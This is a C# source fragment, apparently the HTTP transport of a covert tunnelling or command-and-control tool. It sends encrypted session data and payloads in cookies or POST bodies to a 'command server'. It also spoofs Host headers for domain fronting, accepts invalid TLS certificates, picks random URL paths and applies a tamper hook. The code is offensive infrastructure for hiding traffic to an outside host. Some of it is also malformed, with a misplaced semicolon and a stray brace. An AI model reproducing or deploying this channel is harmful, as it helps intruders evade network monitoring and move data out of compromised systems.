public List <byte> Send(IExitableTarget target, String status, List <byte> payload, out bool commandChannelDead)
{
String sessionPayload = target.TargetId;
commandChannelDead = false;
if (String.IsNullOrWhiteSpace(status))
{
status = "nochange";
}
var sessionAndStatus = sessionPayload + ":" + status;
var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList());
var cookies = new CookieContainer();
WebClientEx wc = null;
if (!String.IsNullOrWhiteSpace(_config.HostHeader))
{
wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL)
{
UserAgent = _config.UserAgent
}
}
;
else
{
wc = new WebClientEx(cookies, _config.InsecureSSL)
{
UserAgent = _config.UserAgent
}
};
if (_config.UseProxy)
{
if (null == _config.WebProxy)
{
wc.Proxy = HttpWebRequest.GetSystemWebProxy();
wc.Proxy.Credentials = CredentialCache.DefaultCredentials;
}
else
{
wc.Proxy = _config.WebProxy;
}
}
wc.Headers.Add("Host", _config.HostHeader);
cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}")
{
Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
});
string encPayload = null;
if (null != payload && payload.Count > 0)
{
try
{
encPayload = _encryption.Encrypt(payload);
if (String.IsNullOrWhiteSpace(encPayload))
{
_error.LogError("Encrypted payload was null, it shouldn't be");
if (!InitialConnectionSucceded.HasValue)
{
InitialConnectionSucceded = false;
}
wc.Dispose();
return(null);
}
}
catch (Exception ex)
{
_error.LogError(ex.Message);
wc.Dispose();
return(null);
}
}
bool retryRequired = false;
Int32 retryInterval = 2000;
UInt16 retryCount = 0;
Guid errorId = Guid.NewGuid();
do
{
try
{
String response = null;
if (encPayload != null && encPayload.Count() > 4096)
{
response = wc.UploadString(BuildServerURI(), encPayload);
}
else
{
if (null != _config.HostHeader)
{
if (wc.Headers.AllKeys.Contains("Host"))
{
if (wc.Headers["Host"] != _config.HostHeader)
{
wc.Headers["Host"] = _config.HostHeader;
}
}
else
{
wc.Headers.Add("Host", _config.HostHeader);
}
}
if (payload != null && payload.Count() > 0)
{
cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}")
{
Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
});
}
response = wc.DownloadString(BuildServerURI());
}
if (!InitialConnectionSucceded.HasValue)
{
InitialConnectionSucceded = true;
}
if (null != response && response.Count() > 0)
{
wc.Dispose();
return(_encryption.Decrypt(response));
}
else
{
wc.Dispose();
return(new List <byte>());
}
}
catch (System.Net.WebException ex)
{
var lst = new List <String>();
if (WebExceptionAnalyzer.IsTransient(ex))
{
if (15 > retryCount++)
{
_error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}");
retryRequired = true;
if (retryInterval++ > 2)
{
retryInterval += retryInterval;
}
Timeout.WaitOne(retryInterval);
}
else
{
_error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}");
commandChannelDead = true;
wc.Dispose();
return(null);
}
}
else if (sessionPayload == _config.CommandChannelSessionId)
{
if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval))
{
lst.Add("Command channel re-tried connection 5 times giving up");
ReportErrorWebException(ex, lst, errorId);
commandChannelDead = true;
wc.Dispose();
return(null);
}
retryRequired = true;
}
else
{
ReportErrorWebException(ex, lst, errorId);
if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode)
{
if (_error.VerboseErrors)
{
_error.LogError(String.Format($"Connection on server has been killed"));
}
}
else
{
_error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}"));
}
wc.Dispose();
return(null);
}
}
} while (retryRequired && !target.Exit);
if (!InitialConnectionSucceded.HasValue)
{
commandChannelDead = true;
InitialConnectionSucceded = false;
}
wc.Dispose();
return(null);
}
bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval)
{
if (5 <= retryCount++)
{
return(retryRequired = false);
}
_error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms");
Timeout.WaitOne(retryInterval);
retryInterval += retryInterval;
return(true);
}
Uri BuildServerURI(String payload = null)
{
if (null != _config.Tamper)
{
return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload)));
}
if (_config.URLPaths.Count() == 0)
{
return(new Uri(_config.URL, "Upload"));
}
else
{
var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())];
return(new Uri(_config.URL, path));
}
}
void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId)
{
lst.Add(ex.Message);
lst.Add(ex.Status.ToString());
lst.Add(_config.CommandServerUI.ToString());
lst.Add(errorId.ToString());
_error.LogError(lst);
}
}
public List <byte> Send(IExitableTarget target, List <byte> payload, out bool commandChannelDead)
{
return(Send(target, "nochange", payload, out commandChannelDead));
}